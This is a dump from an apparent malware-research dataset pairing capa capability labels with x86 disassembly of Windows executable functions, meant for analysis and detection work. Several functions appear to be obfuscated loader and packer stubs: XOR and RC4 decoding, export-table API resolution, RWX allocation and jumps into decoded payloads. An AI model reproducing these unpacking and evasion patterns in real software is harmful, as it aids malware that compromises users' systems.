joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004133
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10004142
pop dword [ebp - 0x14]
mov eax, 0x10004142
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x4e805fb8
sub dword [ebp - 0x24], 0x2e1a6d
mov dword [ebp - 0x20], 0x63518b72
sub dword [ebp - 0x20], 0x311e3f2d
mov dword [ebp - 0x1c], 0xdbbcc040
sub dword [ebp - 0x1c], 0x8f707c12
mov dword [ebp - 0x18], 0xeda8c37
sub dword [ebp - 0x18], 0xeda8c37
lea eax, [ebp - 0x24]
push eax
mov eax, 0xcb7cfd35
add eax, 0x448352e3
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x11018c71
sub dword [ebp - 0x24], 0x9c8f231b
mov dword [ebp - 0x20], 0x1e829f2a
add dword [ebp - 0x20], 0x22e9c24b
mov dword [ebp - 0x1c], 0xc525ac08
add dword [ebp - 0x1c], 0x9e49c064
mov dword [ebp - 0x18], 0xa2ba3754
sub dword [ebp - 0x18], 0xa2ba3754
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xa325a865
add eax, 0x6cdaa7cf
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x35ff4
push 0
call eax
mov ecx, 0x5853b186
add ecx, 0xa7ac9384
xor ebx, ebx
add ebx, eax
mov edi, 0x10040600
add edi, dword [ebp - 0x14]
mov edx, 0xbf9e9faf
sub edx, 0xf72343c6
xor dword [ebp - 0x10], 0x798c82ec
mov esi, dword [edi]
xor dword [ebp - 0xc], esi
sub esi, edx
add dword [ebp - 4], edx
mov dword [ebx], esi
mov dword [ebp - 0x10], 0x8515524e
add ebx, 0xd89b800b
sub ebx, 0xd89b8007
add edi, 4
loop 0x1000425b
add eax, 0xea5a62d8
sub eax, 0xea595bdd
xor ebx, ebx
add ebx, eax
add eax, 0x879026e
add eax, 0xf786fd97
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp int.00401219
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x402c00
pop dword [ebp - 0x2c]
mov eax, 0x560d3c8
add eax, 0xfadf5838
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x2bf93366
sub dword [ebp - 0x3c], 0xdda6ee1b
mov dword [ebp - 0x38], 0x8ba8ce8a
sub dword [ebp - 0x38], 0x59758245
mov dword [ebp - 0x34], 0x46576e24
add dword [ebp - 0x34], 0x5f4d60a
mov dword [ebp - 0x30], 0x5d1b9755
sub dword [ebp - 0x30], 0x5d1b9755
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x9d504d3e
sub eax, 0x9d0fccb2
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x9b49c68a
add dword [ebp - 0x3c], 0xd928a2cc
mov dword [ebp - 0x38], 0xfb26b9e9
sub dword [ebp - 0x38], 0xb9ba5874
mov dword [ebp - 0x34], 0xf17c6692
sub dword [ebp - 0x34], 0x8e0cfa26
mov dword [ebp - 0x30], 0xee9e009e
sub dword [ebp - 0x30], 0xee9e009e
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x44a48d89
sub eax, 0x44640cb5
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x38a1e
push 0
call eax
mov ecx, 0x62983cde
sub ecx, 0x6297ed18
xor ebx, ebx
add ebx, eax
mov edx, 0x411000
add edx, dword [ebp - 0x2c]
mov edi, 0x2125abdf
add edi, 0x623f4254
sub dword [ebp - 0x24], 0xc8ea2230
mov esi, dword [edx]
add dword [ebp - 0x20], eax
sub esi, edi
xor dword [ebp - 0x14], ecx
mov dword [ebx], esi
sub dword [ebp - 0xc], 0xb901a16d
add ebx, 0xd97f0e41
sub ebx, 0xd97f0e3d
add edx, 0xa9258a43
sub edx, 0xa9258a3f
loop 0x402d1e
add eax, 0x131eb
xor ebx, ebx
add ebx, eax
add eax, 0x58463e5e
sub eax, 0x58463e59
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1000ae55
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x1004fed4]
add edx, 0xffffd94f
mov dword [0x1004fed0], edx
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
jmp 0x1000aef5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov dword [0x1004fed0], ecx
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x28], eax
je 0x1000aed7
jmp 0x1000af8c
mov eax, dword [ebp - 0x2c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
jl 0x1000aef5
jmp 0x1000ae98
mov dword [0x1004fed4], 0x7a0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1000af22
jmp 0x1000af8c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov edx, eax
add edx, 0xffffe3e9
mov esi, dword [ebp - 0x14]
cmp word [esi + ecx*2], 0
mov edi, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edi
je 0x1000ae98
jmp 0x1000aeb8
mov eax, dword [ebp - 0x30]
add eax, 0xffffe7d7
mov dword [0x1004fed0], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1000af8c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1000af8c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000af8c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000af8c
mov eax, 1
mov dword [0x1004fed0], 0xb63
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x34], eax
je 0x1000af93
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1000af93
mov eax, dword [ebp - 0x34]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x1000afb2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000b8bc
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, dword [0x1004fed0]
add edi, 0x20f3
mov dword [0x1004fed0], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1004fed4], 0x1487
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1000b050
jmp 0x1000b086
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
jmp 0x1000b05b
mov eax, dword [ebp - 0x30]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1004fed0], 0x954
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x1000b0c6
jmp 0x1000b09d
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jmp 0x1000b00f
mov al, byte [ebp - 0x41]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x40]
add edx, 1
mov ah, byte [ebp - 0x42]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x3c], edx
jne 0x1000b05b
mov al, byte [ebp - 0x42]
test al, 1
jne 0x1000b02b
jmp 0x1000b0d3
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov edx, dword [ebp - 0x30]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], eax
jb 0x1000b00f
jmp 0x1000b050
Function at 0x1000b52e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1004fedc], 0
mov byte [0x1004fee0], 0
mov edi, dword [0x1004fed0]
add edi, 0xe84
mov dword [0x1004fed4], edi
mov dword [0x1004fed8], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000b585
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov dword [0x1004fed4], 0x8b8
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1004fed8]
add eax, 1
mov dword [0x1004fed8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000b585
xor eax, eax
mov dword [0x1004fed8], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1004fee4], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x1004fedc]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1004fee4], esi
mov dword [0x1004fed0], 0x233b
mov eax, esi
cdq
idiv ecx
mov dword [0x1004fedc], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x1004fee0], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x1004fee0]
mov esi, dword [0x1004fedc]
mov byte [ebx + esi], cl
mov esi, dword [0x1004fed8]
add esi, 1
mov dword [0x1004fed8], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000b5c4
jmp 0x1000b57d
Function at 0x1000b677
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x1001c1fd]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x1004fed0], 0x1540
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.1000b252
mov dword [0x1004fed0], 0x1b9e
call fcn.1000b100
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1000a781
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x1000b785
mov dword [0x1004fed0], 0x505
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x1004fed0], 0x1847
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1000a8e3
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x1004fed0], 0x14d0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x14], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x28], ecx
mov dword [0x1004fed4], 0xc82
cmp ecx, 0
mov dword [ebp - 0x40], eax
jne 0x1000b78f
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
mov eax, dword [0x1004fed0]
mov ecx, dword [ebp - 0x44]
add ecx, 0x24bf
add eax, 0x2182
mov dword [0x1004fed0], eax
mov dword [ebp - 0x40], ecx
jmp 0x1000b785
Function at 0x1000ba65
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1004fed8], 0
mov dword [0x1004fedc], 0
mov dword [0x1004fee8], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000bbbb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov dword [0x1004fed0], 0x581
mov edi, ecx
add edi, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x1004fed8], edx
mov dword [0x1004fed4], 0x20ec
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1004fedc], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1004fee0], cl
mov dword [0x1004fed4], 0x1c17
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1004fee0]
mov edx, dword [0x1004fedc]
mov byte [ebx + edx], cl
mov edx, dword [0x1004fed8]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1004fedc]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1004fee8], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
xor cl, byte [edx + esi]
mov byte [0x1004feec], cl
mov dword [0x1004fed0], 0x13d7
mov dword [0x1004fed4], 0x1ac9
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x1000bbbb
mov eax, dword [0x1004fedc]
mov ecx, dword [0x1004fed8]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x1000babe
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000bbc3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x1004fed0], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000ab14
lea ecx, [0x1000adde]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x8c], edx
mov dword [esp + 0x60], 0x14de00
mov edx, dword [0x1004febc]
mov dword [esp + 0x68], edx
mov edx, dword [0x1004fec0]
mov dword [esp + 0x64], edx
mov edx, dword [0x1004fec4]
mov dword [esp + 0x34], edx
mov edx, dword [0x1004fec8]
mov dword [esp + 0x30], edx
mov edx, dword [0x1004fecc]
mov dword [esp + 0x4c], edx
mov dword [0x1004fed4], 0x1d3f
mov dword [0x1004fed0], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000bc95
mov eax, dword [esp + 0x10]
mov dword [esp + 0x54], eax
mov dword [0x1004fed0], 0x4417
mov dword [0x1004fed4], 0x94b
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x84], edx
call fcn.1000ae55
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
je 0x1000bccc
jmp 0x1000bcf6
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1000bcb8
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1000bc56
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000bc95
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000b677
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x4019e0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0xd8
mov eax, dword [0x45ba98]
xor eax, esp
mov dword [esp + 0xd4], eax
mov eax, dword [esp + 0xe0]
push ebx
push ebp
mov ebp, dword [esp + 0xe4]
push esi
push edi
mov esi, ecx
xor ecx, ecx
push 0x62
push ecx
lea edx, [esp + 0x26]
push edx
mov dword [esp + 0x20], eax
mov word [esp + 0x28], cx
call fcn.00431640
xor eax, eax
push 0x62
push eax
lea ecx, [esp + 0x96]
push ecx
mov word [esp + 0x98], ax
call fcn.00431640
add esp, 0x18
push 0xf003f
add esi, 8
push esi
call dword [sym.imp.SETUPAPI.dll_SetupDiOpenClassRegKey]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push 0x64
lea edx, [esp + 0x20]
push edx
mov esi, eax
push 0
push esi
call ebx
test eax, eax
jne 0x401ac8
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ebx, [ebx]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x401ab5
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x84]
push eax
push 0
push 0
push ebp
push ecx
mov dword [esp + 0x30], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401ae5
mov edx, dword [esp + 0x10]
push edx
call edi
push esi
call edi
push 0x64
lea eax, [esp + 0x20]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x401a70
xor eax, eax
mov ecx, dword [esp + 0xe4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00430eb8
add esp, 0xd8
ret 8
push esi
call edi
mov ecx, dword [esp + 0x10]
push ecx
call edi
lea eax, [esp + 0x80]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401b00
mov ecx, dword [esp + 0x14]
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x84]
push edx
call fcn.00401390
mov eax, 1
jmp 0x401aca

Function at 0x402430
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402449
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402484
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402480
lea ebx, [ebx]
cmp esi, eax
jae 0x402484
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402470
cmp esi, eax
jb 0x40248a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x4050a0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x45ba98]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x11c
lea eax, [esp + 8]
push 0
push eax
call fcn.00431640
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call esi
test eax, eax
jne 0x4050f5
lea edx, [esp + 4]
push edx
mov dword [esp + 8], 0x114
call esi
test eax, eax
je 0x40511e
cmp dword [esp + 0x14], 2
jne 0x40511e
cmp dword [esp + 8], 5
jb 0x40511e
mov eax, 1
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00430eb8
add esp, 0x120
ret
mov ecx, dword [esp + 0x120]
pop esi
xor ecx, esp
xor eax, eax
call fcn.00430eb8
add esp, 0x120
ret

Function at 0x4051d0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x45ba98]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
push 0
push 8
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x405250
call esi
cmp eax, 0x3f0
jne 0x40523a
lea ecx, [ebp - 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x405250
xor eax, eax
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00430eb8
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 2
push eax
call ebx
test eax, eax
jne 0x40523a
call esi
cmp eax, 0x7a
jne 0x40523a
mov edi, dword [ebp - 0x1c]
mov eax, edi
call fcn.004319a0
mov esi, esp
test esi, esi
je 0x40523a
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x1c]
push ecx
push edi
push esi
push 2
push edx
call ebx
test eax, eax
je 0x40523a
xor edi, edi
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40523a
mov dword [ebp - 0x18], edi
cmp dword [esi], edi
jbe 0x4052e2
lea ebx, [esi + 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebx]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4052db
inc edi
add ebx, 8
cmp edi, dword [esi]
jb 0x4052c0
jmp 0x4052e2
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x18]
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00430eb8
mov esp, ebp
pop ebp
ret